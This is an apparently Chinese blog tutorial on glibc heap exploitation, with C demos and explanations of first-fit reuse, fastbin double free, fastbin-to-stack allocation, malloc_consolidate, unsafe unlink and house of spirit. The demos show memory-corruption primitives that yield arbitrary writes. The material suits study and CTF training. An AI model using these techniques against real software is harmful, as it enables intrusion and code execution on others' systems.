linux堆利用入门一

堆漏洞利用一

环境
uname -a
Linux admindir-virtual-machine 4.15.0-142-generic #146~16.04.1-Ubuntu SMP Tue Apr 13 09:27:15 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

file /lib/x86_64-linux-gnu/libc-2.23.so
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=30773be8cf5bfed9d910c8473dd44eaab2e705ab, for GNU/Linux 2.6.32, stripped

源码

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(){

char* a=malloc(512);
char* b=malloc(256);
char* c;
fprintf(stderr,"1st malloc(512):%p\n",a);
fprintf(stderr,"2nt malloc(256):%p\n",b);
strcpy(a,"AAAAAAAA");
strcpy(b,"BBBBBBBB");
fprintf(stderr,"first allocation %p points to %s\n",a,a);
fprintf(stderr,"Freeing the first one...\n");
free(a);
c=malloc(500);
fprintf(stderr,"3rd malloc(500):%p\n",c);
strcpy(c,"CCCCCCCC");
fprintf(stderr,"3rd Allocation %p points to %s\n",c,c);
fprintf(stderr,"first allocation %p points to %s\n",a,a);
return 0;
}

编译

gcc -g first_fit.c
./a.out
1st malloc(512):0x602010
2nt malloc(256):0x602220
first allocation 0x602010 points to AAAAAAAA
Freeing the first one...
3rd malloc(500):0x602010
3rd Allocation 0x602010 points to CCCCCCCC
first allocation 0x602010 points to CCCCCCCC

  • 上面的一个程序展示了glibc堆分配策略,即first-fit.在分配内存的时候,malloc会先到unsorted bin(或者fastbins)查找合适被free的chunk,如果没有就会把unsorted bin中所有chunk分别放入到所属的bins中,然后再去这些bins里面去找合适的chunk。可以看到第三次malloc的地址和第一次相同,即malloc找到了第一次free掉的chunk并将它重新分配。

  • 在GDB中调试

    • 在两个malloc之后(chunk位于malloc返回地址减去0x10的位置):
  • 在第一个free之后

  • 第三个malloc之后。

  • 当释放一块内存后在申请一块大小略小的空间,glibc倾向于将先前被释放的空间重新分配。

  • 现在加上内存检查参数重新编译:

    gcc -fsanitize=address -g first_fit.c
    
    

  • 一个use-after-free漏洞。

fastbin_dup

源码

#include<stdio.h>
#include<stdlib.h>
#include<string.h>


int main(){
fprintf(stderr,"Allocating 3 buffers\n");
char* a=malloc(9);
char* b=malloc(9);
char* c=malloc(9);

strcpy(a,"AAAAAAAA");
strcpy(b,"BBBBBBBB");
strcpy(c,"CCCCCCCC");
fprintf(stderr,"1st malloc(9) %p points to %s\n",a,a);
fprintf(stderr,"2st malloc(9) %p points to %s\n",b,b);
fprintf(stderr,"3st malloc(9) %p points to %s\n",c,c);
fprintf(stderr,"Freeint the first one %p\n",a);
free(a);
fprintf(stderr,"Freeint the first one %p\n",b);
free(b);
fprintf(stderr,"Freeint the first one %p\n",c);
free(a);


fprintf(stderr,"Allocating 3 buffers\n");
char* d=malloc(9);
char* e=malloc(9);
char* f=malloc(9);
strcpy(d,"DDDDDDDD");
fprintf(stderr,"4st malloc(9) %p points to %s the first time\n",d,d);
strcpy(e,"EEEEEEEE");
fprintf(stderr,"5nd malloc(9) %p points to %s\n",e,e);
strcpy(f,"FFFFFFFF");
fprintf(stderr,"6rd malloc(9) %p points to %s the second time\n",f,f);


return 0;
}

  • 这个程序展示了利用fastbins的double-free攻击,可以泄露一块已经分配的内存指针。fastbins可以看成一个LIFO的栈,使用单链表实现,通过fastbin->fd来遍历fastbins。由于free的过程会对free list 做检查,我们不能同时free同一个chunk,所以这里在两次free之间,增加了一次对其他chunk的free过程,从而绕过检查而顺利执行,然后在malloc三次,就可以在同一地址malloc了两次,也就有了两个指向同一内存区域的指针。

  • 在三次malloc之后。

  • 第一个free之后。

  • 第二个free之后,chunk b被添加到fastbins中

  • 此时由于chunk a处于bin的第二块的位置,不会被double-free的检查机制检查出来,所以第三个free 之后chunk a 再次被添加到fastbins中。![image-20210611100514174]

  • 所以对fastbins,可以通过double-free泄露出一个堆块指针。

  • 加上内存检查参数重新编译

     gcc -fsanitize=address -g fastbin_dup.c
    

  • 一个double-free漏洞。

  • 在libc-2.26中即使两次free也并没有触发double-free的异常检测,这与tcache的机制有关,先来在该版本下触发double-free的例子。

    #include <stdio.h>
    #include <stdlib.h>
    
    int main() {
        int i;
    
        void *p = malloc(0x40);
        fprintf(stderr, "First allocate a fastbin: p=%p\n", p);
    
        fprintf(stderr, "Then free(p) 7 times\n");
        for (i = 0; i < 7; i++) {
            fprintf(stderr, "free %d: %p => %p\n", i+1, &p, p);
            free(p);
        }
    
        fprintf(stderr, "Then malloc 8 times at the same address\n");
        int *a[10];
        for (i = 0; i < 8; i++) {
            a[i] = malloc(0x40);
            fprintf(stderr, "malloc %d: %p => %p\n", i+1, &a[i], a[i]);
        }
    
        fprintf(stderr, "Finally trigger double-free\n");
        for (i = 0; i < 2; i++) {
            fprintf(stderr, "free %d: %p => %p\n", i+1, &a[i], a[i]);
            free(a[i]);
        }
    }
    
    

fastbin_dup_into_stack

源码

#include<stdio.h>
#include<stdlib.h>
#include<string.h>


int main(){
fprintf(stderr,"Allocating 3 buffers\n");
char* a=malloc(9);
char* b=malloc(9);
char* c=malloc(9);
unsigned long long stack_var = 0x21;
strcpy(a,"AAAAAAAA");
strcpy(b,"BBBBBBBB");
strcpy(c,"CCCCCCCC");
fprintf(stderr,"1st malloc(9) %p points to %s\n",a,a);
fprintf(stderr,"2st malloc(9) %p points to %s\n",b,b);
fprintf(stderr,"3st malloc(9) %p points to %s\n",c,c);
fprintf(stderr,"Freeint the first one %p\n",a);
free(a);
fprintf(stderr,"Freeint the first one %p\n",b);
free(b);
fprintf(stderr,"Freeint the first one %p\n",c);
free(a);


fprintf(stderr,"Allocating 3 buffers\n");

unsigned long long *d=malloc(9);
*d=(unsigned long long)(((char*)&stack_var)-sizeof(d));

fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
char* e=malloc(9);
char* f=malloc(9);
char* g=malloc(9);
strcpy(e,"EEEEEEEE");
fprintf(stderr,"4st malloc(9) %p points to %s the first time\n",e,e);
strcpy(f,"FFFFFFFF");
fprintf(stderr,"5nd malloc(9) %p points to %s\n",f,f);
strcpy(g,"GGGGGGGG");
fprintf(stderr,"6rd malloc(9) %p points to %s the second time\n",g,g);


return 0;
}

gcc -g fastbin_dup_into_stack.c

  • 这个程序展示了怎样通过修改fd指针,将其指向一个伪造的free chunk,在伪造的地址处malloc出一个chunk,该程序大部分内存与上一个程序一样,漏洞也是同样的double-free,只有给fd的填充内容不同.
  • 三个malloc之后

  • 三次free之后

  • 这一次 malloc 之后,我们不再填充无意义的 "DDDDDDDD",而是填充一个地址,即栈地址减去 0x8,从而在栈上伪造出一个 free 的 chunk(当然也可以是其他的地址)。这也是为什么 stack_var 被我们设置为 0x21(或0x20都可以),其实是为了在栈地址减去 0x8 的时候作为 fake chunk 的 size 字段。

  • glibc 在执行分配操作时,若块的大小符合 fast bin,则会在对应的 bin 中寻找合适的块,此时 glibc 将根据候选块的 size 字段计算出 fastbin 索引,然后与对应 bin 在 fastbin 中的索引进行比较,如果二者不匹配,则说明块的 size 字段遭到破坏。所以需要 fake chunk 的 size 字段被设置为正确的值。

  • 简单的说就是fake chunk的size与double-free的chunk的size相同即可。

  • 可以看到伪造的chunk已经由指针链接到 fastbins 上了。之后 malloc 两次,即可将伪造的 chunk 移动到链表头部,然后第三次malloc既可在fake chunk处分配内存

  • 所以对于fastbins 可以通过double-free覆盖fastbins 获取一个指向任意地址的指针。

fastbin_dup_consolidate

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

int main() {
    void *p1 = malloc(0x10);
    void *p2 = malloc(0x10);
    strcpy(p1, "AAAAAAAA");
    strcpy(p2, "BBBBBBBB");
    fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);

    fprintf(stderr, "Now free p1!\n");
    free(p1);

    void *p3 = malloc(0x400);
    fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
    fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");

    free(p1);
    fprintf(stderr, "Trigger the double free vulnerability!\n");
    fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");

    void *p4 = malloc(0x10);
    strcpy(p4, "CCCCCCC");
    void *p5 = malloc(0x10);
    strcpy(p5, "DDDDDDDD");
    fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
}

  • 这个程序展示了利用在 large bin 的分配中 malloc_consolidate 机制绕过 fastbin 对 double free 的检查,这个检查在 fastbin_dup 中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它 chunk 的 free
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<stdint.h>
uint64_t* chunk0_ptr;

int main(){
int malloc_size=0x80;
int header_size=2;
chunk0_ptr=(uint64_t*)malloc(malloc_size);
uint64_t* chunk1_ptr=(uint64_t*)malloc(malloc_size);
fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
chunk0_ptr[2]=(uint64_t)&chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
uint64_t *chunk1_hdr=chunk1_ptr-header_size;
chunk1_hdr[0]=malloc_size;
chunk1_hdr[1]&=~1;
free(chunk1_ptr);

char victim_string[9];
strcpy(victim_string,"AAAAAAAA");
chunk0_ptr[3]=(uint64_t)victim_string;
fprintf(stderr,"Original value :%s",victim_string);

chunk0_ptr[0]=0x4242424242424242LL;
fprintf(stderr,"New Value:%s",victim_string);
return 0;
}

  • 这个程序展示了利用free改写全局指针chunk0_ptr来达到任意内存写的目的,即unsafe unlink。该技术最常见的利用场景是有一个可以溢出漏洞和一个全局指针。

  • 在解链操作之前 ,针对堆块P自身的fd和bk检查了链表的完整性,即判断堆块P的前一块fd的指针是否指向P,以及后一块的BK的指针是否指向P。

  • malloc_size 设置为0x80,可以分配small chunk然后定义header_size为2。申请两块空间,全局指针chunk0_ptr指向chunk0,局部指针chunk1_ptr指向chunk1。

  • 接下来要绕过 (P->fd->bk != P || P->bk->fd != P) == False 的检查,这个检查有个缺陷,就是 fd/bk 指针都是通过与 chunk 头部的相对地址来查找的。所以我们可以利用全局指针 chunk0_ptr 构造 fake chunk 来绕过它:

  • 可以看到我们在chunk0里构造一个fake chunk用p表示,两个指针fd和bk可以构成两条链:p->fd->bkp,p->bk->fdp,可以绕过检查,通过 chunk 1 的 prev_size 为 fake chunk 的大小,修改 PREV_INUSE 标志位为 0,将 fake chunk 伪造成一个 free chunk。

  • 接下来就是释放掉chunk1,这回触发fake chunk的unlink并覆盖chunk0_ptr的值。unlink操作是这样进行的。

    FD = P->fd;
    BK = P->bk;
    FD->bk = BK
    BK->fd = FD
    
  • 根据 fd 和 bk 指针在 malloc_chunk 结构体中的位置,这段代码等价于:

  • FD = P->fd = &P - 24
    BK = P->bk = &P - 16
    FD->bk = *(&P - 24 + 24) = P
    FD->fd = *(&P - 16 + 16) = P
    
  • 这样就通过了 unlink 的检查,最终效果为:

FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24
  • 原本指向堆上 fake chunk 的指针 P 指向了自身地址减 24 的位置,这就意味着如果程序功能允许堆 P 进行写入,就能改写 P 指针自身的地址,从而造成任意内存写入。若允许堆 P 进行读取,则会造成信息泄漏。

  • 在这个例子中,由于 P->fd->bk 和 P->bk->fd 都指向 P,所以最后的结果为:

chunk0_ptr = P = P->fd
  • 成功地修改了 chunk0_ptr,这时 chunk0_ptrchunk0_ptr[3] 实际上就是同一东西。这里可能会有疑惑为什么这两个东西是一样的,因为 chunk0_ptr 指针在是放在数据段上的,地址在 0x601070,指向 0x601058,而 chunk0_ptr[3] 的意思是从 chunk0_ptr 指向的地方开始数 3 个单位,所以 0x601058+0x08*3=0x601070

house_of_spirit

源码
#include<stdio.h>
#include<stdlib.h>
int main(){

malloc(1);
fprintf(stderr, "We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\n");
unsigned long long *a, *b;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr,"THE first one:%p\n",&fake_chunks[0]);
fprintf(stderr,"The second one:%p\n",&fake_chunks[4]);
fake_chunks[1]=0x20;// the size
fake_chunks[5]=0x1234;//nextsize

  fake_chunks[2] = 0x4141414141414141LL;
    fake_chunks[6] = 0x4141414141414141LL;

    fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[0]);
    a = &fake_chunks[2];

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[0], &fake_chunks[2]);
    b = malloc(0x10);
    fprintf(stderr, "malloc(0x10): %p\n", b);
    b[0] = 0x4242424242424242LL;

return 0;
}

  • house-of-spirit 是一种fast bins的攻击方法,通过构造fake chunk 然后将其free掉。然后就可以在下一次malloc时返回fake chunk的地址,即任意可控区域。house-of-spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般栈溢出漏洞利用都希望覆盖函数返回地址以控制eip劫持控制流,但如果栈的长度无法覆盖返回地址,同时可以覆盖栈上的一个即将被free的堆指针。此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin 块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的 先进后出机制,这个栈上的堆块被返回给用户,再次写入就可能造成返回地址的改写。利用的第一步不是去控制一个chunk,而是控制传给free函数的指针,将其指向一个fake chunk所以fake chunk的伪造是关键。
  • 首先malloc(1)用于初始化内存环境,然后fake chunk区域伪造两哥chunk。需要传递给free函数的可以被修改的指针,无论通过什么方式。

参考文章

https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/3.1.6_heap_exploit_1.html

posted @ 2021-06-15 17:47  一生热爱  阅读(216)  评论(0编辑  收藏  举报